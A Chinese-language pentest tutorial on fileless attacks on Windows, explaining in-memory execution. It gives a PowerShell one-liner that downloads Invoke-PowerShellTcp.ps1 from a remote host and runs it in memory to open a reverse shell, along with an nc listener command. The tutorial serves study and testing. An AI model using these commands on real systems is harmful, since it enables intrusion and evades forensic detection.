无文件渗透测试工作原理:无文件恶意程序最初是由卡巴斯基在2014年发现的,一直不算是什么主流的攻击方式,直到此次事件的发生。说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上,反而是将payloads直接注入正在运行程序的内存,导致恶意软件直接在系统内存中执行,也让专家很难在系统重启之后找到此恶意软件的踪迹。

在日常的渗透测试中,如果使用无文件渗透,那么也同样可以保证在执行恶意测试程序时没有任何的文件落地,直接加载到内存中执行,本文分为两篇,将分别针对windows和linux系统分别简单介绍下如何进行无文件渗透测试实战。

首先我们要确定下我们在什么情况下会到使用无文件渗透的这个地步:

1、存在命令执行相关漏洞,可直接执行系统命令

2、通过其他漏洞已经进入测试目标并且可以执行一些系统命令

实际上在理解了命令执行的原理并且保证漏洞可以执行任意系统命令后,我们可以直接在命令行的操作模拟命令执行漏洞利用的操作,所以不要介意为什么说是利用漏洞来进行无文件渗透测试但图里面确实直接在命令行的操作。

在windows下,一般通过远程加载powershell脚本来进行,接下来测试加载某ps1脚本至内存来反弹系统shell(用户会话),测试脚本名为Invoke-PowerShellTcp.ps1,脚本内容不给出,仅做无文件渗透测试样例使用,具体利用方式如下:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://testwebsite/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x(测试人员远端主机ip) -port x(测试人员远端主机端口)

为了接收反弹的会话,我们可以使用ncat(能在两台主机之间建立链接并双向返回数据流)来进行主机间的通信,具体使用如下命令,默认tcp协议:

#nc –vvlp x(测试人员远端主机端口)

当在存在漏洞的测试目标上执行该命令时,内存中加载脚本内容并直接执行,进程中会出现powershell.exe但是并不会有Invoke-PowerShellTcp.ps1落地,执行后在测试人员的远端服务器上可以接收到测试目标的系统shell,分别在测试目标(windows)和测试人员远端主机(linux)执行whoami来确认反弹的系统shell确实为测试目标的会话:

使用进程管理器查看本地是否存在正在运行的powershell进程:

everything查看windows本地是否存在Invoke-PowerShellTcp.ps1文件

作  者:Testfan Covan
出  处:微信公众号:自动化软件测试平台
版权说明:欢迎转载,但必须注明出处,并在文章页面明显位置给出文章链接

渗透测试之无文件渗透简单使用-windows的更多相关文章

  1. 渗透测试之本地文件包含(LFI)

    一.本地文件包含 本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell. 看见?page=标志性注入点,提示我们输入?=pag ...

  2. kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

    kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...

  3. 互联网渗透测试之Wireshark的高级应用

    互联网渗透测试之Wireshark的高级应用 1.1说明 在本节将介绍Wireshark的一些高级特性 1.2. "Follow TCP Stream" 如果你处理TCP协议,想要 ...

  4. 渗透测试之BurpSuite工具的使用介绍(三)

    若希望从更早前了解BurpSuite的介绍,请访问第二篇(渗透测试之BurpSuite工具的使用介绍(二)):https://www.cnblogs.com/zhaoyunxiang/p/160002 ...

  5. 【WIN7】windows\system32 下的几乎所有文件的简单说明【2】

    1: System32的详解 C:\WINDOWS\system32... 2:   3: 这个 system32 文件夹中包含了大量的用于 Windows 的文件. 这里主要用于存储 DLL 文件, ...

  6. 【WIN7】windows\system32 下的几乎所有文件的简单说明【1】

    1: aclui.dll .....Security Descriptor Editor,没有它,注册表编缉器会无法运行 2: ACTIVEDS.DLL .....(ADs 路由层 DLL). 没有它 ...

  7. linux无文件执行— fexecve 揭秘

    前言 良好的习惯是人生产生复利的有力助手. 继续2020年的flag,至少每周更一篇文章. 无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux上 ...

  8. Metasploit渗透技巧:后渗透Meterpreter代理

    Metasploit是一个免费的.可下载的渗透测试框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施攻击测试.它本身附带数百个已知软件漏洞的专业级漏洞攻击测试工具. 当H.D. Moore在20 ...

  9. Directx11学习笔记【一】 最简单的windows程序HelloWin

    声明:本系列教程代码有部分来自dx11龙书及dx11游戏编程入门两本书,后面不再说明 首先,在vs2013中创建一个空的解决方案Dx11Demo,以后的工程都会放在这个解决方案下面.然后创建一个win ...

随机推荐

  1. Transforming Auto-encoders

    http://www.cs.toronto.edu/~hinton/absps/transauto6.pdf The artificial neural networks that are used ...

  2. js 中常用的正则表达式

    主要有以下几种: 匹配中文字符的正则表达式: [\u4e00-\u9fa5] 评注:匹配中文还真是个头疼的事,有了这个表达式就好办了哦 获取日期正则表达式:\d{4}[年|\-|\.]\d{1,2}[ ...

  3. 3个CCIE考官对一个高级工程师的面试题

    3个CCIE考官对一个高级工程师的面试题 转载 时间:2015-7-10 原文转载: 1.现在的6509及7609,SUP720交换带宽去到720G,是不是可以说7609/6509 可以取代一部分GS ...

  4. Non-parseable POM C:\Users\admin\.m2\repository\org\springframework问题解决方案

    现象: [INFO] Scanning for projects... [ERROR] [ERROR] Some problems were encountered while processing ...

  5. "php"正则表达式使用总结

    一直对php的正则表达式的理解不是很深刻,而且是很一知半解,所以把自己用的的正则表达式总结下,以后方便查阅,以后遇到正则表达式的时候然后再追加到该文档的后面: /** * php常用正则表达式 * p ...

  6. Shell之历史操作记录与欢迎信息

    history: ~/.bash_history:用于记录所有的操作记录 欢迎信息:/etc/issue,只对本地登录生效. 远程终端的欢迎信息:/etc/issue.net

  7. [haoi2008]玩具命名

    某人有一套玩具,并想法给玩具命名.首先他选择WING四个字母中的任意一个字母作为玩具的基本名字.然后他会根据自己的喜好,将名字中任意一个字母用“WING”中任意两个字母代替,使得自己的名字能够扩充得很 ...

  8. Double.valueOf()与Double.parseDouble()两者的区别

    写代码用到这两个方法,不知道有什么区别,看一下源码: Double.parseDouble(String str) public static double parseDouble(String s) ...

  9. LSH-局部敏感哈希

    LSH的基本思想是: 将原始数据空间中的两个邻近数据点通过某种映射或变换,使得这两个数据点在变换后的数据空间中仍然相邻的概率很大,而不相邻的数据点被映射到同一个桶的概率很小. 因此,最最重要的就变成了 ...

  10. python 基础之第十天(闭包,装饰器,生成器,tarfile与hashlib模块使用)

    局部变量与全局变量 局部变量:在函数里面定义的,只有当函数活动时才生效 全局变量:不在函数里面的 In [1]: x=10 In [2]: def bar(): ...: x=20 ...: prin ...